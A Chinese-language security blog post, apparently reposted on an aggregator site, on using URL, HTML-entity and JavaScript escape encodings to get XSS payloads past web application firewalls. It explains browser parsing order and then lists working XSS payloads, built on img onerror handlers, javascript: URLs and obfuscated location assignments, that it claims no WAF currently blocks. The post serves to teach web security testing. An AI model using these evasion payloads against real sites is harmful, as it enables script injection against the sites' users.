XSS进阶 - 利用编码绕WAF

Posted T9Sec Team

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS进阶 - 利用编码绕WAF相关的知识,希望对你有一定的参考价值。

Broken表哥的博客:http://blog.b1ok3n.cn 收藏表哥博客的同时、别忘了点波关注哦!


前言

本文大部分都是原理,如果不想看原理,可以直接跳到最后看案例

1.1 解析原理

览器在解析html文档时无论按照什么顺序,主要有三个过程:HTML解析JS解析URL解析,每个解析器负责HTML文档中各自对应部分的解析工作。

首先浏览器接收到一个HTML文档时,会触发HTML解析器对HTML文档进行词法解析,这一过程完成HTML解码并创建DOM树,接下来javascript解析器会介入对内联脚本进行解析,这一过程完成JS的解码工作,如果浏览器遇到需要URL的上下文环境,这时URL解析器也会介入完成URL的解码工作,URL解析器的解码顺序会根据URL所在位置不同,可能在JavaScript解析器之前或之后解析。

浏览器的解析规则:浏览器收到HTML内容后,会从头开始解析。当遇到JS代码时,会使用JS解析器解析。当遇到URL时,会使用URL解析器解析。遇到CSS则用CSS解析器解析。尤其当遇到复杂代码时,可能该段代码会经过多个解析器解析。


1.2 编码

1.2.1 URL编码

一个百分号和该字符的 ASCII 编码所对应的2位十六进制数字,例如/的URL编码为%2F


1.2.2 实体编码

1.实体名称
字符实体以&开头加预先定义的实体名称,以分号结尾,如<的编码为&1t;

2.实体编号
以&开头加#x符号以及字符的十六进制数字,如a的实体编号为&#x61;字符都是有实体编号的但有些字符没有实体名称。


1.2.3  JS编码

1.三个八进制数字,如果不够个数,前面补0,例如“e”编码为“\145”
2.两个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\x65”
3.四个十六进制数字,如果不够个数,前面补0,例如“e”编码为“\u0065”
4.对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
5.jsfuck编码


1.3 三种状态

<div>&#lt;img src=x onerror=alert(4)&#gt;</div>

例如,在这个例子中,<>字符被编码为&#lt;&#gt;

当解析器解析完<div>并处于数据状态时,这两个字符将会被解析。当解析器遇到&字符,它会知道这是数据状态的字符引用,因此会消耗一个字符引用(例如&#lt;)并释放出对应的字符(例如<

你可能会想:这是不是意味着<>将会被理解为标签的开始和结束,然后其中的脚本会被执行?答案是脚本并不会被执行。原因是解析器在解析这个字符引用后不会转换到标签开始状态。正因为如此,就不会建立新标签。因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析


1.4 解析案例

1.4.1 HTML解析

<img src=# onerror="alert&#x28/xss/&#x29">
<img src=# onerror="alert&#x000000000028/xss/&#x29">

首先经过HTML解析alert&#x28/xss/&#x29"解析为alert(1),然后JS解析器解析后执行alert(1),导致弹窗。然后第二个payload&#x000000000028不管有多少个0,HTML解析器都会正常解析,绕WAF的时候非常有用


1.4.2 JS解析

<img src=# onerror="\u0061lert(/xss/)">
<img src=# onerror="alert\u0028/xss/\u0029">

首先经过HTML解析,然后JS解析器成功将\u0061lert(/xss/)解析为alert(/xss/)所以能弹窗,第二个payload是不会弹窗的,因为当用 Unicode 转义序列来表示一个控制字符时,例如单引号、双引号、圆括号等等,它们将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量。如果你去看 ECMAScript 的语法,就会发现没有一处会用Unicode 转义序列来当作控制字符。例如,如果解析器正在解析一个函数调用语句,圆括号部分必须为(),而不能是\u0028\u0029


1.4.3 URL解析

<a href="javascript:%61lert%281%29">xss</a>
<a href="j%61v%61script:alert(1)">xss</a>

首先经过HTML解析,因为href会涉及到URL所以会先进行URL解析,将%61lert%281%29解析为alert(1)最后再经过JS解析器成功解析alert(1),所以能弹窗。第二个payload是不会弹窗的,因为URL 解析过程中的一个细节了,不能对协议类型进行任何的编码操作,否则URL 解析器会认为它无类型,就导致j%61v%61script不会被解析,所以就弹不了窗了


2.1  Bypass案例

下面3种就是比较基础的绕WAF很简单

<img src=# onerror="XSS">

<!-- 1.将alert()等函数替换为al_ert(1) -->
<img src=# onerror="\u0061lert(1)">

<!-- 2.在1的基础上将\替换为空 -->
<img src=# onerror="&#x0061lert(1)">

<!-- 3.在2的基础上自动进行实体解码(大部分都只会解码&#x00xx格式的),然后再检测alert()等函数 -->
<img src=# onerror="&#x000000000000000000061lert(1)">


接下来是经过变形的XSS只要能构造出下面这种payload,目前应该没有一家WAF拦得住

<img src=# onerror="XSS">

<!-- 1.将&、(、)替换为_,检测常用函数 -->
<img src=# onerror="location='javascript:%61lert%281%29'">

<!-- 2.在1的基础上,检测javascript -->
<img src=# onerror="location='j\x61vascript:%61lert%281%29'">

<!-- 3.在2的基础上,检测location -->

<img src=# onerror="loc\u0061tion='j\x61vascript:%61lert%281%29'">


<!-- 3.在3的基础上,将\替换为空 -->

<img src=# onerror="loc\u0061tion='java'+'scri'+'pt:'+'ale'+'rt%281%29'">

至于上面的编码,我有一个点也不懂,就是j\x61vascript为什么会被解析, 你们可以自己研究一下,然后教教我


Reference

  • Web安全从零开始-XSS-I:

    https://blog.zeddyu.info/2019/03/13/Web安全从零开始-XSS-I/

  • 利用location来变形我们的XSS Payload:

    https://www.leavesongs.com/PENETRATION/use-location-xss-bypass.html


以上是关于XSS进阶 - 利用编码绕WAF的主要内容,如果未能解决你的问题,请参考以下文章

XSS小技巧绕过云WAF

Bypass xss过滤的测试方法

如何利用XSS脚本攻击绕过WAF防火墙

新型渗透手法:利用XSS绕过WAF进行SQL注入

新型攻击手法:利用XSS绕过WAF进行SQL注入

XSS绕过WAF进行SQL注入